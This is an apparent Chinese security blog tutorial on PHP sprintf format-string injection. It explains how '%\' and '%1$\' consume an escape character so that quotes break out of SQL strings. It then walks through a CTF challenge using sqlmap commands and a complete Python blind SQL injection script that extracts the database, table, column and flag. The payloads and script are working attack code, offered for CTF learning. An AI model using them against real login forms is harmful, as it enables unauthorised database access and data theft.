深入解析sprintf格式化字符串漏洞

0x00 前言

从相遇到相识

从相识到相知

.........

不过你真的懂ta吗

这次故事的主角是PHP中的格式化函数sprintf

 

0x01 sprintf()讲解

 

首先我们先了解sprintf()函数

sprintf() 函数把格式化的字符串写入变量中。

sprintf(format,arg1,arg2,arg++)

arg1、arg2、++ 参数将被插入到主字符串中的百分号(%)符号处。该函数是逐步执行的。在第一个 % 符号处,插入 arg1,在第二个 % 符号处,插入 arg2,依此类推。

注释:如果 % 符号多于 arg 参数,则您必须使用占位符,占位符位于 % 符号之后,由数字和 "\$" 组成。

详细看一下sprintf的用法

语法

sprintf(format,arg1,arg2,arg++)

参数

描述

format

必需。规定字符串以及如何格式化其中的变量。

可能的格式值:

%% - 返回一个百分号 %

%b - 二进制数

%c - ASCII 值对应的字符

%d - 包含正负号的十进制数(负数、0、正数)

%e - 使用小写的科学计数法(例如 1.2e+2)

%E - 使用大写的科学计数法(例如 1.2E+2)

%u - 不包含正负号的十进制数(大于等于 0)

%f - 浮点数(本地设置)

%F - 浮点数(非本地设置)

%g - 较短的 %e 和 %f

%G - 较短的 %E 和 %f

%o - 八进制数

%s - 字符串

%x - 十六进制数(小写字母)

%X - 十六进制数(大写字母)

附加的格式值。必需放置在 % 和字母之间(例如 %.2f):

+ (在数字前面加上 + 或 - 来定义数字的正负性。默认情况下,只有负数才做标记,正数不做标记)

' (规定使用什么作为填充,默认是空格。它必须与宽度指定器一起使用。例如:%'x20s(使用 "x" 作为填充))

- (左调整变量值)

[0-9] (规定变量值的最小宽度)

.[0-9] (规定小数位数或最大字符串长度)

注释:如果使用多个上述的格式值,它们必须按照以上顺序使用。

arg1

必需。规定插到 format 字符串中第一个 % 符号处的参数。

arg2

可选。规定插到 format 字符串中第二个 % 符号处的参数。

arg++

可选。规定插到 format 字符串中第三、四等 % 符号处的参数。

 

返回值:

返回已格式化的字符串。

PHP 版本:

4+

 

 

 

通过几个例子回顾一下sprintf

例子1:

<?php
$number = 123;
$txt = sprintf("带有两位小数:%1\$.2f<br>不带小数:%1\$u",$number);
echo $txt;
?>

输出结果:

带有两位小数:123.00 

不带小数:123

例子2:

<?php
$num1 = 123456789;
$num2 = -123456789;
$char = 50;
// ASCII 字符 50 是 2
//注释:格式值 "%%" 返回百分号
echo sprintf("%%b = %b",$num1)."<br>"; // 二进制数
echo sprintf("%%c = %c",$char)."<br>"; // ASCII 字符
echo sprintf("%%s = %s",$num1)."<br>"; // 字符串
echo sprintf("%%x = %x",$num1)."<br>"; // 十六进制数(小写)
echo sprintf("%%X = %X",$num1)."<br>"; // 十六进制数(大写)
?>

输出结果:

%b = 111010110111100110100010101

%c = 2 //注意var_dump('2')为string

%s = 123456789

%x = 75bcd15

%X = 75BCD15

 

 

0x02 sprintf注入原理

 

我们来看一下sprintf()的底层实现方法

 

switch (format[inpos]) {
case 's':
    {
        zend_string * t;
        zend_string * str = zval_get_tmp_string(tmp, &t);
        php_sprintf_appendstring( & result, &outpos, ZSTR_VAL(str), width, precision, padding, alignment, ZSTR_LEN(str), 0, expprec, 0);
        zend_tmp_string_release(t);
        break;
    }
case 'd':
    php_sprintf_appendint( & result, &outpos, zval_get_long(tmp), width, padding, alignment, always_sign);
    break;
case 'u':
    php_sprintf_appenduint( & result, &outpos, zval_get_long(tmp), width, padding, alignment);
    break;
case 'g':
case 'G':
case 'e':
case 'E':
case 'f':
case 'F':
    php_sprintf_appenddouble( & result, &outpos, zval_get_double(tmp), width, padding, alignment, precision, adjusting, format[inpos], always_sign);
    break;
case 'c':
    php_sprintf_appendchar( & result, &outpos, (char) zval_get_long(tmp));
    break;
case 'o':
    php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 3, hexchars, expprec);
    break;
case 'x':
    php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 4, hexchars, expprec);
    break;
case 'X':
    php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 4, HEXCHARS, expprec);
    break;
case 'b':
    php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 1, hexchars, expprec);
    break;
case '%':
    php_sprintf_appendchar( & result, &outpos, '%');
    break;
default:
    break;
}

可以看到, php源码中只对15种类型做了匹配, 其他字符类型都直接break了,php未做任何处理,直接跳过,所以导致了这个问题:

没做字符类型检测的最大危害就是它可以吃掉一个转义符\, 如果%后面出现一个\,那么php会把\当作一个格式化字符的类型而吃掉\, 最后%\(或%1$\)被替换为空

 

因此sprintf注入,或者说php格式化字符串注入的原理为:

要明白%后的一个字符(除了%,%上面表格已经给出了)都会被当作字符型类型而被吃掉,也就是被当作一个类型进行匹配后面的变量,比如%c匹配asciii码,%d匹配整数,如果不在定义的也会匹配,匹配空,比如%\,这样我们的目的只有一个,使得单引号逃逸,也就是能够起到闭合的作用

 

这里我们举两个例子

NO.1

不使用占位符号

<?php
$sql = "select * from user where username = '%\' and 1=1#';" ;
$args = "admin" ;
echo  sprintf ( $sql , $args ) ;
//=> echo sprintf("select * from user where username = '%\' and 1=1#';", "admin");
//此时%\回去匹配admin字符串,但是%\只会匹配空

运行后的结果

select * from user where username = '' and 1=1#'

 

NO.2

使用占位符号

 

<?php
$input = addslashes ("%1$' and 1=1#" );
$b = sprintf ("AND b='%s'", $input );
$sql = sprintf ("SELECT * FROM t WHERE a='%s' $b ", 'admin' );
//对$input与$b进行了拼接
//$sql = sprintf ("SELECT * FROM t WHERE a='%s' AND b='%1$\' and 1=1#' ", 'admin' );
//很明显,这个句子里面的\是由addsashes为了转义单引号而加上的,使用%s与%1$\类匹配admin,那么admin只会出现在%s里,%1$\为空
echo  $sql ;

运行后的结果

SELECT * FROM t WHERE a='admin' AND b='' and 1=1#'

NO.3

对%c进行利用

<? php
$input1 = '%1$c) OR 1 = 1 /*' ;
$input2 = 39 ;
$sql = "SELECT * FROM foo WHERE bar IN (' $input1 ') AND baz = %s" ;
$sql = sprintf ( $sql , $input2 );
echo  $sql ;

%c起到了类似chr()的效果,将数字39转化为,从而导致了sql注入。

所以结果为:

SELECT * FROM foo WHERE bar IN ('') OR 1 = 1 /*) AND baz = 39

 

总结

漏洞利用条件

1、sql语句进行了字符拼接

2、拼接语句和原sql语句都用了vsprintf/sprintf 函数来格式化字符串

 

0x03 题目训练

形式很像SQL注入,而且题目中提示为SQLI

先试了一下弱口令,确定username为admin

那么就对username与password进行注入,开始普通注入,二次解码,宽字节,过滤空格,过滤关键字等姿势进行构造注入语句都无果,而且还耗费大量的时间,不过后来get到一种新姿势,使用burpsuit的intruder跑一下,来查看那些字母或者字符没有被过滤掉(waf字典)

后来发现%可疑,于是拿出来repeater一下

深入解析sprintf格式化字符串漏洞_字符串

sprintf函数出错,那么sprintf是什么?格式化字符串,于是乎就懂得其中的原理了,是让单引号逃逸

构造username=admin%1$\' and 1=2# 与 username=admin%1$\' and 1=1#

发现如下的结果

深入解析sprintf格式化字符串漏洞_php_02

 

深入解析sprintf格式化字符串漏洞_sql_03

可以发现'后面的语句带入执行了,这就是注入点,使用sqlmap跑一下

抓去post包

python sqlmap.py -r 3.txt -p username --level 3 --dbs --thread 10

深入解析sprintf格式化字符串漏洞_sql_04

对ctf库跑tables

得到

深入解析sprintf格式化字符串漏洞_sql_05

对flag跑columns

得到

深入解析sprintf格式化字符串漏洞_sql_06

对每个列进行dump但是dump下来不对,找了一波原因没有找到,开始用脚本跑

跑完后才发现sqlmap跑出来的列不对,应该是flag,于是

python sqlmap.py -r 3.txt -p username --level 3 -D ctf -T flag -C flag --dump --thread 10

深入解析sprintf格式化字符串漏洞_php_07

才得到正确结果 :) (希望能得到大佬们的指正)

 

下面是脚本跑的

深入解析sprintf格式化字符串漏洞_字符串_08

中心思想

先判断length

然后使用ascii判断字母

ascii(substr(database()," + str(i) +",1))=" + str(ord(c)) + "#"

使用这个语句进行判断

 

码:

#coding:utf-8
import requests
import string
 
def boom():
    url = r'http://f6f0cdc51f8141a6b1a8634161859c1c78499dc70eea47f0.game.ichunqiu.com/'
    s = requests.session()
	//会话对象requests.Session能够跨请求地保持某些参数,比如cookies,即在同一个Session实例发出的所有请求都保持同一个cookies,而requests模块每次会自动处理cookies,这样就很方便地处理登录时的cookies问题。
    dic = string.digits + string.letters + "!@#$%^&*()_+{}-="
    right = 'password error!'
    error = 'username error!'
    lens = 0
    i = 0
	//确定当前数据库的长度
    while True:
        payload = "admin%1$\\' or " + "length(database())>" + str(i) + "#"
        data={'username':payload,'password':1}
        r = s.post(url,data=data).content
        if error in r:
            lens=i
            break
        i+=1
        pass
    print("[+]length(database()): %d" %(lens))
	//确定当前数据库的名字
    strs=''
    for i in range(lens+1):
        for c in dic:
            payload = "admin%1$\\' or " + "ascii(substr(database()," + str(i) +",1))=" + str(ord(c)) + "#"
            data = {'username':payload,'password':1}
            r = s.post(url,data=data).content
            if right in r:
                strs = strs + c
                print strs
                break
        pass
    pass
    print("[+]database():%s" %(strs))
 
    lens=0
    i = 1
    while True:
        payload = "admin%1$\\' or " + "(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>" + str(i) + "#"
		//对当前的数据库,查询第一个表的长度
        data = {'username':payload,'password':1}
        r = s.post(url,data=data).content
        if error in r:
            lens = i
            break
        i+=1
        pass
    print("[+]length(table): %d" %(lens))
 
    strs=''
    for i in range(lens+1):
        for c in dic:
            payload = "admin%1$\\' or " + "ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)," + str(i) +",1))=" + str(ord(c)) + "#"
			// 数字一定要str才可以传入
            data = {'username':payload,'password':1}
            r = s.post(url,data=data).content
            if right in r:
                strs = strs + c
                print strs
                break
        pass
    pass
    print("[+]table_name:%s" %(strs))
    tablename = '0x' + strs.encode('hex')
	//编码为16进制
    table_name = strs
 
    lens=0
    i = 0
    while True:
        payload = "admin%1$\\' or " + "(select length(column_name) from information_schema.columns where table_name = " + str(tablename) + " limit 0,1)>" + str(i) + "#"
        data = {'username':payload,'password':1}
        r = s.post(url,data=data).content
        if error in r:
            lens = i
            break
        i+=1
        pass
    print("[+]length(column): %d" %(lens))
 
    strs=''
    for i in range(lens+1):
        for c in dic:
            payload = "admin%1$\\' or " + "ascii(substr((select column_name from information_schema.columns where table_name = " + str(tablename) +" limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + "#"
            data = {'username':payload,'password':1}
            r = s.post(url,data=data).content
            if right in r:
                strs = strs + c
                print strs
                break
        pass
    pass
    print("[+]column_name:%s" %(strs))
    column_name = strs
	
    num=0
    i = 0
    while True:
        payload = "admin%1$\\' or " + "(select count(*) from " + table_name + ")>" + str(i) + "#"
        data = {'username':payload,'password':1}
        r = s.post(url,data=data).content
        if error in r:
            num = i
            break
        i+=1
        pass
    print("[+]number(column): %d" %(num))
 
    lens=0
    i = 0
    while True:
        payload = "admin%1$\\' or " + "(select length(" + column_name + ") from " + table_name + " limit 0,1)>" + str(i) + "#"
        data = {'username':payload,'password':1}
        r = s.post(url,data=data).content
        if error in r:
            lens = i
            break
        i+=1
        pass
    print("[+]length(value): %d" %(lens))
 
    i=1    
    strs=''
    for i in range(lens+1):
        for c in dic:
            payload = "admin%1$\\' or ascii(substr((select flag from flag limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + "#"
            data = {'username':payload,'password':'1'}
            r = s.post(url,data=data).content
            if right in r:
                strs = strs + c
                print strs
                break
        pass
    pass
    print("[+]flag:%s" %(strs))
 
if __name__ == '__main__':
    boom()
    print 'Finish!'

后面还有对wordpress版本小于4.7.5在后台图片删除的地方存在一处格式化字符串漏洞 没有转载过来